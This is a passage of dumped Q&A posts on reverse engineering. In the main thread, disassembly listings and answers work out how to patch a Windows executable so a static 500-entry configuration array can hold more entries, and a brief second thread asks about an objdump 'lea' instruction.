sub_D4D270\n.text:008F29F2                 push    eax             ; ArgList\n.text:008F29F3                 push    offset aErrMsg_0 ; Error Message\n.text:008F29F8                 call    sub_D386E0\n.text:008F29FD                 add     esp, 8\n.text:008F2A00                 call    sub_D388C0\n.text:008F2A05                 lea     ecx, [esp+30h+var_20]\n.text:008F2A09                 push    ecx\n.text:008F2A0A                 lea     ecx, [esp+34h+var_18]\n.text:008F2A0E                 mov     [esp+34h+var_20], eax\n.text:008F2A12                 mov     [esp+34h+var_1C], 640h\n.text:008F2A1A                 call    sub_403D60\n.text:008F2A1F                 mov     [esp+30h+var_4], 2\n.text:008F2A27\n.text:008F2A27 loc_8F2A27:\n.text:008F2A27                 mov     eax, [esp+30h+var_18]\n.text:008F2A2B                 test    eax, eax\n.text:008F2A2D                 jz      short loc_8F2A3A\n.text:008F2A2F                 push    esi\n.text:008F2A30                 push    eax\n.text:008F2A31                 call    ds:??$?6U?$char_traits@D@std@@@std@@YAAAV?$basic_ostream@DU?$char_traits@D@std@@@0@AAV10@PBD@Z ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const *)\n.text:008F2A37                 add     esp, 8\n.text:008F2A3A\n.text:008F2A3A loc_8F2A3A:\n.text:008F2A3A                 lea     ecx, [esp+30h+var_18]\n.text:008F2A3E                 mov     [esp+30h+var_4], 0FFFFFFFFh\n.text:008F2A46                 call    sub_403DF0\n.text:008F2A4B                 mov     ecx, [esp+30h+var_C]\n.text:008F2A4F                 pop     edi\n.text:008F2A50                 pop     esi\n.text:008F2A51                 pop     ebp\n.text:008F2A52                 xor     al, al\n.text:008F2A54                 pop     ebx\n.text:008F2A55                 mov     large fs:0, ecx\n.text:008F2A5C                 add     esp, 20h\n.text:008F2A5F                 retn    8\n.text:008F2A5F ReadCfgFile     endp\n
\n\n

[EDIT 1 - All what I should have known since the beginning!]

\n\n

After following the suggestions of the answer of @sealed..., I used a class inspector to detect the Virtual Function Table and I found the full class descriptor. Well... in fact there are two classes referring to my target method ReadCfgFile and no direct calls to it in the whole executable:

\n\n
.rdata:0137A1D4 ; class DATABASE_TABLE<CFG_ENTRY,500,unsigned int> [SI] O: 0, A: 0\n.rdata:0137A1D4 dd offset ??_R4?$DATABASE_TABLE@UCFG_ENTRY@@$0BPE@I@@6B@ ; RTTI Complete Object Locator\n.rdata:0137A1D8 ; const DATABASE_TABLE<struct CFG_ENTRY,500,unsigned int> VF Table\n.rdata:0137A1D8 ??_7?$DATABASE_TABLE@UCFG_ENTRY@@$0BPE@I@@6B@ dd offset sub_8EF0F0 ; DATA XREF: sub_8EEFC0+1Do\n.rdata:0137A1DC dd offset nullsub_648\n.rdata:0137A1E0 dd offset sub_8EAB30\n.rdata:0137A1E4 dd offset sub_8EF060\n.rdata:0137A1E8 dd offset sub_8EE500\n.rdata:0137A1EC dd offset ReadCfgFile\n\n.rdata:0137A1F0 ; class CFG_DB: DATABASE_TABLE<CFG_ENTRY,500,unsigned int> [SI] O: 0, A: 0\n.rdata:0137A1F0 dd offset ??_R4CFG_DB@@6B@ ; RTTI Complete Object Locator\n.rdata:0137A1F4 ; const CFG_DB VFTable\n.rdata:0137A1F4 ??_7UNIT_DB@@6B@ dd offset sub_8EF2B0 ; DATA XREF: sub_8EF290+8o\n.rdata:0137A1F8 dd offset nullsub_648\n.rdata:0137A1FC dd offset sub_8EAB30\n.rdata:0137A200 dd offset sub_8EF060\n.rdata:0137A204 dd offset sub_8EE8B0\n.rdata:0137A208 dd offset ReadCfgFile\n.rdata:0137A20C dd offset sub_8EE5D0\n
\n\n

[EDIT 2 - The adventure continues! Yay!]

\n\n

After reading the answer of @Guntram Blohm, I investigated some more in order to collect and analyze the data he suggested. The first thing I did is to analyze the executable with PEiD and here is the information I got from it:

\n\n
Compiler: Microsoft Visual C++ 7.0 Method2 [Debug]\nEntropy: 6.24 (Not Packed)\nLinker Info: 7.10\n
\n\n

When I set a breakpoint on my ReadCfgFile method, here is what I get from OllyDBG stack:

\n\n
CPU Stack\nAddress   Value      ASCII Comments\n0018B2C0  [008EE644  D\ufffd.  ; RETURN to myapp.008EE644\n
\n\n

And 008EE644 is a small part of the following method that, for what I can understand, looks for the configuration file and starts the routine for reading it, but without an explicit call to ReadCfgFile (offset highlighted):

\n\n
.text:008EE5D0 sub_8EE5D0      proc near ; CODE XREF: sub_411B20+2CBp\n.text:008EE5D0 var_41          = byte ptr -41h\n.text:008EE5D0 var_40          = dword ptr -40h\n.text:008EE5D0 var_3C          = dword ptr -3Ch\n.text:008EE5D0 var_38          = byte ptr -38h\n.text:008EE5D0 var_34          = dword ptr -34h\n.text:008EE5D0 var_30          = dword ptr -30h\n.text:008EE5D0 var_2C          = byte ptr -2Ch\n.text:008EE5D0 var_C           = dword ptr -0Ch\n.text:008EE5D0 var_4           = dword ptr -4\n.text:008EE5D0\n.text:008EE5D0                 push    0FFFFFFFFh\n.text:008EE5D2                 push    offset SEH_8EE5D0\n.text:008EE5D7                 mov     eax, large fs:0\n.text:008EE5DD                 push    eax\n.text:008EE5DE                 mov     large fs:0, esp\n.text:008EE5E5                 sub     esp, 38h\n.text:008EE5E8                 push    ebx\n.text:008EE5E9                 push    ebp\n.text:008EE5EA                 mov     ebx, ecx\n.text:008EE5EC                 push    offset aCfgFile ; \"application.cfg\"\n.text:008EE5F1                 mov     [esp+50h+var_30], ebx\n.text:008EE5F5                 call    sub_41BD00\n.text:008EE5FA                 add     esp, 4\n.text:008EE5FD                 push    eax\n.text:008EE5FE                 lea     ecx, [esp+50h+var_38]\n.text:008EE602                 call    sub_F018E0\n.text:008EE607                 xor     ebp, ebp\n.text:008EE609                 push    ebp\n.text:008EE60A                 lea     eax, [esp+50h+var_38]\n.text:008EE60E                 push    eax\n.text:008EE60F                 lea     ecx, [esp+54h+var_2C]\n.text:008EE613                 mov     [esp+54h+var_4], ebp\n.text:008EE617                 call    sub_D50170\n.text:008EE61C                 lea     ecx, [esp+4Ch+var_38] ; void *\n.text:008EE620                 mov     byte ptr [esp+4Ch+var_4], 2\n.text:008EE625                 call    sub_EFFE30\n.text:008EE62A                 mov     edx, [ebx]\n.text:008EE62C                 mov     ecx, ebx\n.text:008EE62E                 mov     [ebx+7A938h], ebp\n.text:008EE634                 call    dword ptr [edx+4]\n.text:008EE637                 mov     eax, [ebx]\n.text:008EE639                 push    ebp\n.text:008EE63A                 lea     ecx, [esp+50h+var_2C]\n.text:008EE63E                 push    ecx\n.text:008EE63F                 mov     ecx, ebx\n.text:008EE641                 call    dword ptr [eax+14h]\n.text:008EE644 ; ---------------------------------------------------------------------------         \n.text:008EE644                 test    al, al ; HERE IS THE STACK REFERENCE\n.text:008EE644 ; ---------------------------------------------------------------------------   \n.text:008EE646                 jnz     short loc_8EE66C\n.text:008EE648                 lea     ecx, [esp+4Ch+var_2C]\n.text:008EE64C                 mov     [esp+4Ch+var_4], 0FFFFFFFFh\n.text:008EE654                 call    sub_D4BB30\n.text:008EE659                 pop     ebp\n.text:008EE65A                 xor     al, al\n.text:008EE65C                 pop     ebx\n.text:008EE65D                 mov     ecx, [esp+44h+var_C]\n.text:008EE661                 mov     large fs:0, ecx\n.text:008EE668                 add     esp, 44h\n.text:008EE66B                 retn\n.text:008EE66C\n.text:008EE66C loc_8EE66C:\n.text:008EE66C                 xor     edx, edx\n.text:008EE66E                 or      eax, 0FFFFFFFFh\n.text:008EE671                 mov     dword_1986644, edx\n.text:008EE677                 mov     dword_1986650, eax\n.text:008EE67C                 push    esi\n.text:008EE67D                 mov     dword_1986648, edx\n.text:008EE683                 mov     dword_1986654, eax\n.text:008EE688                 push    edi\n.text:008EE689                 mov     dword_198664C, edx\n.text:008EE68F                 mov     dword_1986658, eax\n.text:008EE694                 xor     edi, edi\n.text:008EE696                 cmp     [ebx+79954h], ebp\n.text:008EE69C                 jle     loc_8EE727\n.text:008EE6A2                 lea     esi, [ebx+40h]\n.text:008EE6A5                 jmp     short loc_8EE6B0\n.text:008EE6A7                 align 10h\n.text:008EE6B0\n.text:008EE6B0 loc_8EE6B0:\n.text:008EE6B0                 mov     eax, [esi]\n.text:008EE6B2                 mov     cx, [esi+92h]\n.text:008EE6B9                 lea     eax, ds:1986644h[eax*2]\n.text:008EE6C0                 mov     ax, [eax]\n.text:008EE6C3                 cmp     ax, cx\n.text:008EE6C6                 jnb     short loc_8EE6CA\n.text:008EE6C8                 mov     eax, ecx\n.text:008EE6CA\n.text:008EE6CA loc_8EE6CA:\n.text:008EE6CA                 mov     ecx, [esi]\n.text:008EE6CC                 mov     word ptr dword_1986644[ecx*2], ax\n.text:008EE6D4                 mov     eax, [esi]\n.text:008EE6D6                 mov     cx, [esi+92h]\n.text:008EE6DD                 lea     eax, ds:1986650h[eax*2]\n.text:008EE6E4                 mov     ax, [eax]\n.text:008EE6E7                 cmp     ax, cx\n.text:008EE6EA                 jb      short loc_8EE6EE\n.text:008EE6EC                 mov     eax, ecx\n.text:008EE6EE\n.text:008EE6EE loc_8EE6EE:\n.text:008EE6EE                 mov     edx, [esi]\n.text:008EE6F0                 lea     ecx, [esi-3Ch]\n.text:008EE6F3                 mov     word ptr dword_1986650[edx*2], ax\n.text:008EE6FB                 call    sub_8ED600\n.text:008EE700                 push    eax\n.text:008EE701                 mov     eax, [ebx+7A938h]\n.text:008EE707                 push    eax\n.text:008EE708                 call    sub_F1E550\n.text:008EE70D                 add     edi, 1\n.text:008EE710                 add     esp, 8\n.text:008EE713                 mov     [ebx+7A938h], eax\n.text:008EE719                 add     esi, 3E4h\n.text:008EE71F                 cmp     edi, [ebx+79954h]\n.text:008EE725                 jl      short loc_8EE6B0\n.text:008EE727\n.text:008EE727 loc_8EE727:\n.text:008EE727                 xor     esi, esi\n.text:008EE729                 cmp     dword_1667290, ebp\n.text:008EE72F                 mov     [esp+54h+var_3C], esi\n.text:008EE733                 jbe     loc_8EE840\n.text:008EE739                 lea     esp, [esp+0]\n.text:008EE740\n.text:008EE740 loc_8EE740:\n.text:008EE740                 cmp     [ebx+79954h], ebp\n.text:008EE746                 mov     [esp+54h+var_41], 0\n.text:008EE74B                 mov     [esp+54h+var_40], ebp\n.text:008EE74F                 mov     [esp+54h+var_34], ebp\n.text:008EE753                 jle     loc_8EE7D9\n.text:008EE759                 mov     ebp, 1\n.text:008EE75E                 mov     ecx, esi\n.text:008EE760                 shl     ebp, cl\n.text:008EE762                 lea     edi, [ebx+3B0h]\n.text:008EE768\n.text:008EE768 loc_8EE768:\n.text:008EE768                 cmp     [esp+54h+var_41], 0\n.text:008EE76D                 jnz     short loc_8EE77F\n.text:008EE76F                 test    [edi-2Ch], ebp\n.text:008EE772                 jz      short loc_8EE77F\n.text:008EE774                 test    byte ptr [edi+3], 20h\n.text:008EE778                 jz      short loc_8EE77F\n.text:008EE77A                 mov     [esp+54h+var_41], 1\n.text:008EE77F\n.text:008EE77F loc_8EE77F: \n.text:008EE77F                 xor     esi, esi\n.text:008EE781                 xor     eax, eax\n.text:008EE783\n.text:008EE783 loc_8EE783:\n.text:008EE783                 mov     ecx, [edi-24h]\n.text:008EE786                 test    [eax+ecx], ebp\n.text:008EE789                 jz      short loc_8EE7AF\n.text:008EE78B                 cmp     eax, 10h\n.text:008EE78E                 jnb     loc_8EE89B\n.text:008EE794                 mov     ecx, esi\n.text:008EE796                 shr     ecx, 5\n.text:008EE799                 lea     edx, [esp+ecx*4+54h+var_40]\n.text:008EE79D                 mov     ecx, esi\n.text:008EE79F                 and     ecx, 1Fh\n.text:008EE7A2                 mov     ebx, 1\n.text:008EE7A7                 shl     ebx, cl\n.text:008EE7A9                 or      [edx], ebx\n.text:008EE7AB                 mov     ebx, [esp+54h+var_30]\n.text:008EE7AF\n.text:008EE7AF loc_8EE7AF:\n.text:008EE7AF                 add     eax, 4\n.text:008EE7B2                 add     esi, 1\n.text:008EE7B5                 cmp     eax, 10h\n.text:008EE7B8                 jb      short loc_8EE783\n.text:008EE7BA                 mov     eax, [esp+54h+var_34]\n.text:008EE7BE                 add     eax, 1\n.text:008EE7C1                 add     edi, 3E4h\n.text:008EE7C7                 cmp     eax, [ebx+79954h]\n.text:008EE7CD                 mov     [esp+54h+var_34], eax\n.text:008EE7D1                 jl      short loc_8EE768\n.text:008EE7D3                 mov     esi, [esp+54h+var_3C]\n.text:008EE7D7                 xor     ebp, ebp\n.text:008EE7D9\n.text:008EE7D9 loc_8EE7D9:\n.text:008EE7D9                 push    esi\n.text:008EE7DA                 call    sub_8D1490\n.text:008EE7DF                 mov     edi, eax\n.text:008EE7E1                 add     esp, 4\n.text:008EE7E4                 cmp     byte ptr [edi+0BCh], 0\n.text:008EE7EB                 jz      short loc_8EE82D\n.text:008EE7ED                 xor     esi, esi\n.text:008EE7EF                 cmp     esi, 4\n.text:008EE7F2                 jnb     loc_8EE8A4\n.text:008EE7F8\n.text:008EE7F8 loc_8EE7F8:\n.text:008EE7F8                 mov     ecx, esi\n.text:008EE7FA                 and     ecx, 1Fh\n.text:008EE7FD                 mov     edx, 1\n.text:008EE802                 shl     edx, cl\n.text:008EE804                 mov     ecx, esi\n.text:008EE806                 shr     ecx, 5\n.text:008EE809                 add     ecx, ecx\n.text:008EE80B                 add     ecx, ecx\n.text:008EE80D                 test    [esp+ecx+54h+var_40], edx\n.text:008EE811                 setnz   al\n.text:008EE814                 test    al, al\n.text:008EE816                 jnz     short loc_8EE821\n.text:008EE818                 not     edx\n.text:008EE81A                 and     [ecx+edi+0C0h], edx\n.text:008EE821\n.text:008EE821 loc_8EE821:\n.text:008EE821                 add     esi, 1\n.text:008EE824                 cmp     esi, 4\n.text:008EE827                 jb      short loc_8EE7F8\n.text:008EE829                 mov     esi, [esp+54h+var_3C]\n.text:008EE82D\n.text:008EE82D loc_8EE82D:\n.text:008EE82D                 add     esi, 1\n.text:008EE830                 cmp     esi, dword_1667290\n.text:008EE836                 mov     [esp+54h+var_3C], esi\n.text:008EE83A                 jb      loc_8EE740\n.text:008EE840\n.text:008EE840 loc_8EE840:\n.text:008EE840                 xor     esi, esi\n.text:008EE842                 cmp     [ebx+79954h], ebp\n.text:008EE848                 jle     short loc_8EE875\n.text:008EE84A                 lea     edi, [ebx+108h]\n.text:008EE850\n.text:008EE850 loc_8EE850:\n.text:008EE850                 mov     eax, [edi]\n.text:008EE852                 mov     ecx, dword_16E9DC8\n.text:008EE858                 push    eax ; Str2\n.text:008EE859                 add     ecx, 84h\n.text:008EE85F                 call    sub_10E86C0\n.text:008EE864                 add     esi, 1\n.text:008EE867                 add     edi, 3E4h\n.text:008EE86D                 cmp     esi, [ebx+79954h]\n.text:008EE873                 jl      short loc_8EE850\n.text:008EE875\n.text:008EE875 loc_8EE875:\n.text:008EE875                 lea     ecx, [esp+54h+var_2C]\n.text:008EE879                 mov     [esp+54h+var_4], 0FFFFFFFFh\n.text:008EE881                 call    sub_D4BB30\n.text:008EE886                 mov     ecx, [esp+54h+var_C]\n.text:008EE88A                 pop     edi\n.text:008EE88B                 pop     esi\n.text:008EE88C                 pop     ebp\n.text:008EE88D                 mov     al, 1\n.text:008EE88F                 pop     ebx\n.text:008EE890                 mov     large fs:0, ecx\n.text:008EE897                 add     esp, 44h\n.text:008EE89A                 retn\n.text:008EE89B\n.text:008EE89B loc_8EE89B:\n.text:008EE89B                 lea     ecx, [esp+54h+var_40]\n.text:008EE89F                 jmp     sub_8D0FE0\n.text:008EE8A4\n.text:008EE8A4 loc_8EE8A4:\n.text:008EE8A4                 lea     ecx, [esp+54h+var_40]\n.text:008EE8A8                 jmp     sub_8D0FE0\n.text:008EE8A8 sub_8EE5D0      endp\n
\n\n

The, I digged a little bit more finding out the CFG_DB contructor, which looks like this (pseudo-code from IDA Pro):

\n\n
void __thiscall sub_8EEFC0(void *this)\n{\n  void *v1 = this; // esi@1\n\n  *(_DWORD *)this = &DATABASE_TABLE<CFG_ENTRY_500_unsigned_int>::_vftable_;\n\n  sub_8EE500((int)this);\n  sub_8EC030((char *)v1 + 502036);\n\n  if ( *((_DWORD *)v1 + 124503) )\n    operator delete__(*((void **)v1 + 124503));\n\n  *((_DWORD *)v1 + 124503) = 0;\n\n  unknown_libname_2673((char *)v1 + 4, 0x3E4u, 500, sub_8EEA00);\n}\n
\n\n

So it looks like the \"array\" of CFG_ENTRY is being instantiated calling a method belonging to another library linked to the executable.\nFinally, I put a breakpoint at the beginning of my ReadCfgFile method in order to see if pointers passed to it can be of any help:

\n\n
.text:008F287A                 push esi ==> esi = 00400000\n[...]                          [...]\n.text:008F2886                 mov esi, ecx ==> ecx = myapp.0190BD08\n
\n\n

And following the address 0190BD08 I just stumbled upon this:

\n\n
.data:0190BD08 unk_190BD08     db    ? ; ; DATA XREF: sub_40FFF0:loc_410049o\n.data:0190BD08                           ; sub_40FFF0:loc_410053o ...\n\n.text:00410049 loc_410049: ; DATA XREF: .rdata:01484034o\n.text:00410049 ; .rdata:0148489Co ...\n.text:00410049                 mov     ecx, offset unk_190BD08\n\n.text:00410053\n.text:00410053 loc_410053: ; DATA XREF: .rdata:01484078o\n.text:00410053 ; .rdata:01484C3Co ...\n.text:00410053                 mov     ecx, offset unk_190BD08\n
\n\n

It looks like a dead end to me...

\n", "Title": "How to deal with Static Memory Allocation while modifying an executable?", "Tags": "|assembly|decompilation|debugging|memory|struct|", "Answer": "

It seems to me that the problem is a bit worse than you describe, and there's no easy way to get around it.

\n\n

First, @sealed seems to be right with the function being a class method, and your compiler passing the class pointer in ecx, because that's the only way for

\n\n
.text:008F28B5                 lea     ecx, [esi+eax*4+4]\n.text:008F28B9                 call    ReadCfgEntry\n
\n\n

to make sense - other parameters are pushed on the stack, and the values of eax, edx and ebx seem not to be very meaningful, so the compiler doesn't use some kind of parameters-in-registers fastcall abi.

\n\n

Now, let me reorder the statements from the loop start to the call a bit (without changing the meaning, just to make a bit clearer what happens). The compiler spread the \"increment the count by one\" instructions between the others, probably to take advantage of pipelining within the processor:

\n\n
-- get the current \"number of config entries\" count, and abort the loop if it exceeds 500\n\n.text:008F2890                 mov     eax, [esi+79954h]\n.text:008F2896                 cmp     eax, 1F4h\n.text:008F289B                 jge     loc_8F29DF\n\n-- increment the count by one\n\n.text:008F28A6                 lea     ecx, [eax+1]\n.text:008F28AE                 mov     [esi+79954h], ecx\n\n-- eax = (( count << 5 - count ) * 8 ) + count = count*249\n.text:008F28A1                 mov     edx, eax\n.text:008F28A3                 shl     edx, 5\n.text:008F28A9                 sub     edx, eax\n.text:008F28AB                 lea     eax, [eax+edx*8]\n\n-- push edi, which is a parameter to this function, on the stack;\n-- pass this = esi+4*eax+4  == esi+996*count+4 in ecx. Remember esi was set to\n-- `this`=`ecx` at the start of the current method and hasn't been changed.\n\n.text:008F28B4                 push    edi\n.text:008F28B5                 lea     ecx, [esi+eax*4+4]\n.text:008F28B9                 call    ReadCfgEntry\n
\n\n

This seems like ReadCfgEntry is a class method as well, which gets its this pointer in cx. From the way the array index is calculated, i'd assume the original C++ class looked like this:

\n\n
class Configuration {\n    int whatever;\n    ConfigurationEntry entries[500];\n    ....\n}\n
\n\n

with ConfigurationEntry being a 996 byte class.\nNow, the bad news is: These two class members need 4+(500*996) bytes. This is equal to 498004, or 0x79954. So your entry count is directly behind the entries at 0x79954, with another variable at 0x79958:

\n\n
class Configuration {\n    int whatever;\n    ConfigurationEntry entries[500];\n    int entryCount;\n    int somethingelse;\n    ... ??? ...\n}\n
\n\n

Now, if the entries had been a pointer and allocated with new, it would have been easier to just modify the size parameter in that new from 500 to 1000. But in your case, you'd have to modify the new method of the Configuration class, and you'd have to modify ALL references to variables \"behind\" the configuration entries as well. You already mentioned that for the count variable at offset 0x79954, and the next variable at offset 0x79958, but there might be more of them that don't get referenced in your reader function, so you'll have a hard time finding them all.

\n\n
\n\n

I was just about to post this, when i saw your edit to the question.

\n\n

As you realized in your edit, you need to change all accesses to structure components behind the array of entries that you want to increase. You need to do this in your class methods (which you can find easily as you have the vtables), but also in the rest of your program (as you don't know which of the original class variables where public and might be accessed from outside the class itself). Unfortunately, you can't really automate that, because, for every occurence of, say 0x79954, you'd have to check if it's an index into your class, or something else.

\n\n

Since i don't know which compiler was used to write your program, i can't tell much about how it stores the function vtable. With a bit of luck, the first entry (the one i called whatever earlier) is the vtable pointer. You can check this if you run the program with a debugger, and check if the whatever variable points to the vtable when it reaches the ReadConfigFile method. If it does, this is good, because we don't have to care about overwriting the vtable when extending the structure.

\n\n

Then, there must be some allocator function for your classes. Since you seem to have a class called DATABASE_TABLE, and a derived one called CFG_DB, the second one is probably larger. Try finding the initializing method of this second, larger class. It should call new or a similar memory-allocator, with a size that fits the structure size (so it's probably somewhere between 79960h and 79a00h), and it should move the vtable pointer into the newly allocated memory, so you might be able to find it checking for cross-references of the vtable. Or, use a debugger and set a breakpoint on ReadConfigFile and check the stack for what called it, chances should be good you find a function that allocates the class instance first, then calls its ReadConfigFile member function.

\n\n

After you find where the class is instantiated, i'd probably try not to increase the array size from 500 to 1000, but, instead, just allocate a larger array behind the structure. For example, if your current function allocates 79a00h bytes, add the 996000d bytes to it that 1000 entries need, resulting in 16cca0h bytes. Then, change the

\n\n
lea ecx, [esi+eax*4+4]\n
\n\n

in front of ReadCfgEntry to

\n\n
lea ecx, [esi+eax*4+16cca0h]\n
\n\n

That way, you've created another array behind the current structure instead of extending the current one. Which means none of your structure offsets, except the config items themselves, have changed.

\n\n

Speaking in C++, we just changed the class to

\n\n
class Configuration {\n    int whatever;\n    ConfigurationEntry entries[500];\n    int entryCount;\n    int somethingelse;\n    ... ??? ...\n    ConfigurationEntry newEntries[1000];\n}\n
\n\n

and in the next step we have to re-write all accessed to entries to use newentries.

\n\n

Check your member functions for accesses to the original array, and replace them as well. The most simple way to do this is probably

\n\n\n\n

Since the hardware breakpoint is on entries[0], chances are good that every access to an entry hits the 0-th of it at some point.

\n\n

Also, since ReadCfgEntry is probably a class method, chances are good that there is a loop somewhere that just allocates one class instance for each entry - something like

\n\n
for (i=0; i<500; i++) {\n    entries[i]=new ConfigurationEntry()\n}\n
\n\n

Your hardware breakpoint should catch this loop quite quickly. Patch the executable to change the 500 to 1000, and the entries[i] calculation to your new array. After that, your new array will get initialized, but the old one will hold nothing but NULL pointers. Which means, you might get invalid memory acceses through those NULL pointers in the future, which help identifying accessed to your original array (that you can patch) as well.

\n\n
\n\n

Edit - Edit after reading OP's 2nd answer

\n\n

Dead end? Not at all, you gathered and posted very valuable information.

\n\n

First, your pseudo code of the CFG_DB constructor

\n\n
void __thiscall sub_8EEFC0(void *this)\n{\n  void *v1 = this; // esi@1\n  *(_DWORD *)this = &DATABASE_TABLE<CFG_ENTRY_500_unsigned_int>::_vftable_;\n
\n\n

confirms that the 4 bytes at the beginning of the class structure are actually a pointer to the virtual function table of the class.

\n\n

Second, your snippet

\n\n
.text:008EE639                 push    ebp\n.text:008EE63A                 lea     ecx, [esp+50h+var_2C]\n.text:008EE63E                 push    ecx\n.text:008EE63F                 mov     ecx, ebx\n.text:008EE637                 mov     eax, [ebx]\n.text:008EE641                 call    dword ptr [eax+14h]\n.text:008EE644 ;     ---------------------------------------------------------------------------         \n.text:008EE644                 test    al, al ; HERE IS THE STACK REFERENCE\n
\n\n

fits very well. (Again, i reordered the assembly instructions in a way that doesn't change what they do, but makes it clearer to understand them). Remember your vtable that had a function offset, a nullsub, 3 more function offsets, and ReadCfgFile as its entries? Since each of these has 4 bytes, the offset of the ReadCfgFile function pointer in the vtable is 20, or 14h. In that code snippet, ebx is a class pointer; mov eax, [ebx] gets the vtable pointer from the class pointer, and call dword ptr [eax+14h] calls the function at that offset, namely ReadCfgFile. Before that, it initializes the this register (ecx) to ebx, and pushes 2 parameters on the stack. This seems to be a very standard call to a class method.

\n\n

Next, your constructor ends in

\n\n
unknown_libname_2673((char *)v1 + 4, 0x3E4u, 500, sub_8EEA00);\n
\n\n

with the first parameter (v1+4) being the address of the ConfigurationEntries array within the Configuration class (i'm keeping my old invented variable/class names), the second parameter (0x3e4 == 996) the size of each array entry; the third (500) the number of entries, and a callback function. I'm almost sure this is the constructor function for the individual ConfigurationEntries. Which means this is the function i said you need to find, and which should be changed to

\n\n
unknown_libname_2673((char *)v1 + XXXXX, 0x3E4u, 1000, sub_8EEA00);\n
\n\n

with XXXXX being the offset of the newEntries array once we allocate space for it.

\n\n

Next, reconsidering a part of the code snippet before the indirect call to ReadConfigFile,

\n\n
.text:008EE62A                 mov     edx, [ebx]\n.text:008EE62C                 mov     ecx, ebx\n.text:008EE62E                 mov     [ebx+7A938h], ebp\n.text:008EE634                 call    dword ptr [edx+4]\n
\n\n

we see that there is a move to ebx+7A938h, with ebx being the class pointer, so there seems to be another class member at this offset. This is quite a lot of memory after the offset of the element count (79954h) - so the structure has a lot more components. Good thing you're not trying to shift them all. The constructor function, which accesses this+502036, or this+0x7a914, would have been another hint at that. (It also accesses this+124503, but with this being a dword pointer, this means 498012 bytes, which is still less than 502036).

\n\n

Next, you found out the address 0190BD08, which is a very good thing. Along with the XREFs, and the data definition,

\n\n
.data:0190BD08 unk_190BD08     db    ? \n
\n\n

this means:

\n\n

The class structure at that address is NOT allocated dynamically, and it is NOT initialized to anything, instead, it is an uninitialized global variable. In C++, it would have probably been a

\n\n
static Configuration myConfig;\n
\n\n

with all the xrefs you're seeing being a reference to myConfig. As the assembly instructions at those places are

\n\n
mov     ecx, offset unk_190BD08\n
\n\n

i'm almost sure the calls to a class member function are one or 2 instructions after each of these. Congractulations, you've just found a way to catch many of the instances where the configuration gets accessed. To verify this, unk_190BD08 being a global variable for the configuration, you could run the program with a breakpoint on the constructor function (sub_8EEFC0), i bet it's called only once, and 190BD08 is the parameter to it.

\n\n

The bad thing about the configuration class instance being a static variable, not a new()-instantiated one, is that we can't just increase the size in the new() call. Instead, we'll have to move it to a part of the address space where it doesn't disturb anything else - at the end of the current uninitialized data segment. Find the very last entry in your data segment, then choose a nice address behind that, and rewrite all the xrefs to unk_190BD08 to that new address. Then, run the program using ollydbg, place a hardware breakpoint on 190BD08 just in case, and check that the functions you know to be class member functions, and the initialized, all get the new address instead of 190BD08 as their ecx (this) parameter. When you've finished, you're ready to implement the 2nd part, change the accesses to this+4 to this+XXXX with XXXX being the class size.

\n\n

The fact that we're missing a new() call for the Configuration variable means we can't use its parameter to get the class size. But we already know the class size is at least 7A938h, so the static variable occupies the address space from 0x190BD08 to at least 0x1986640. With a bit of luck, your .data segment has that unk_190BD08 label, with the next label being at an address a bit after 0x1986640, so the next label is some other variable, and the difference between both labels the size of the Configuration instance.

\n\n

There's one thing left to do - when you move the configuration variable behind everything else, you'll also have to increase the size of that data segment in the PE file. Unfortunately, i'm not that skilled in the windows PE file format, so i'd have to do a lot of research how to do this correctly myself, so maybe you're lucky and someone else, who has more experience in this than i have, can help you with this.

\n\n
\n\n

Edit - Edit to answer to comment

\n\n\n\n

The original C++ program will have had something like

\n\n
int somevariable;\nint someothervariable;\nCFG_DB globalConfig;\nint athirdvariable;\n
\n\n

(int as an example, the data type could be anything)\nand the compiler should place all of these varuables into the uninitialized part of the .data segment. Any access to one of the variables will make IDA create a label at that memory address, with an XREF to where it's accessed. So, if your .data dump looks like this

\n\n
.data:0190BD08 unk_190BD08     db    ?        <-- along with some xrefs \n.data:0190BD09                 db    ?        <-- this repeats a lot of times\n.data:01986670 unk_1986670     db    ?        <-- along with some xrefs \n
\n\n

and you know that 0190BD08 is your globalConfig, then 01986670 is athirdvariable, and the size of globalConfig is 0x01986670 - 0x0190BD08 = 0x7a968 = 502120 bytes.

\n\n

This is not 100% foolproof, because if anything accesses globalConfig.somemember, with somemember having a structure offset of, say, 500000 (=0x7a120), then IDA will generate a label and an XREF at 0x190BD08+0x7a120=0x1985E28 ass well. But with a bit of luck, the \"rest\" of the program will just use the globalConfig variable as an argument to a member function, where references are indirect, so they won't be used by IDA to create labels.

\n\n\n\n

If they access anything but the 500 individual config entries, nothing at all, because these haven't changed their offset. The thing that might be dangerous is when they access the entries, because those accesses should be rewritten to newEntries. You have to find out where they are (if you're lucky, that's just in the member functions) and patch the code at that point. The hardware breakpoint on the (old) entries[0] address (which is 0x190BD0C in your case, structure start + 4) should help with this, because anything that's likely to access any entry, is likely to access entry[0] as well. So, if you hit the hardware breakpoint, on, say, mov eax, [ebx+4], then you know ebx+4 is accessing the old address, and should be rewritten to mov eax, [ebx+XXXXX] to use the new array.

\n\n

Unfortunately, you can't create a hardware breakpoint that covers the whole structure to catch any access. That's where the null pointer exceptions kick in. If, after the change, your program throws a NPE where it normally doesn't, it's probably because 'something' accessed the old array, which contains nothing but NULLs now, instead of the new one. Catching the NPE in the debugger, and checking the disassembly/call stack that lead to it, should give you an idea where the NULL pointer was read from the old array, so you know which instruction to change to point to the new one.

\n" }, { "Id": "4288", "CreationDate": "2014-05-08T02:40:49.520", "Body": "

So basically I am using objdump to disassemble a binary from `GNU Coreutils\", on 32 bit Linux x86.

\n\n

In the disassembled code, I found one \"broken\" instruction like this:

\n\n
 804bb49:   8d 04 ed 00 00 00 00    lea    0x0(,%ebp,8),%eax\n
\n\n

I asked a related question about a very similar instruction here, in that question, I think it should be a jump table related instruction, but how about this one ? I am quite confused..

\n\n

Could anyone give me some help?

\n", "Title": "How to deal with this \u201clea\u201d instructions generated by objdump?", "Tags": "|disassembly|assembly|objdump|", "Answer": "

what does broken mean

\n\n

the instruction in either this post or in your earlier post do not seem to be broken

\n\n

if you are confused with AT&T syntax then you can ask objdump to disassemble in intel syntax

\n\n

a better explanation of broken can get a better answer

\n\n
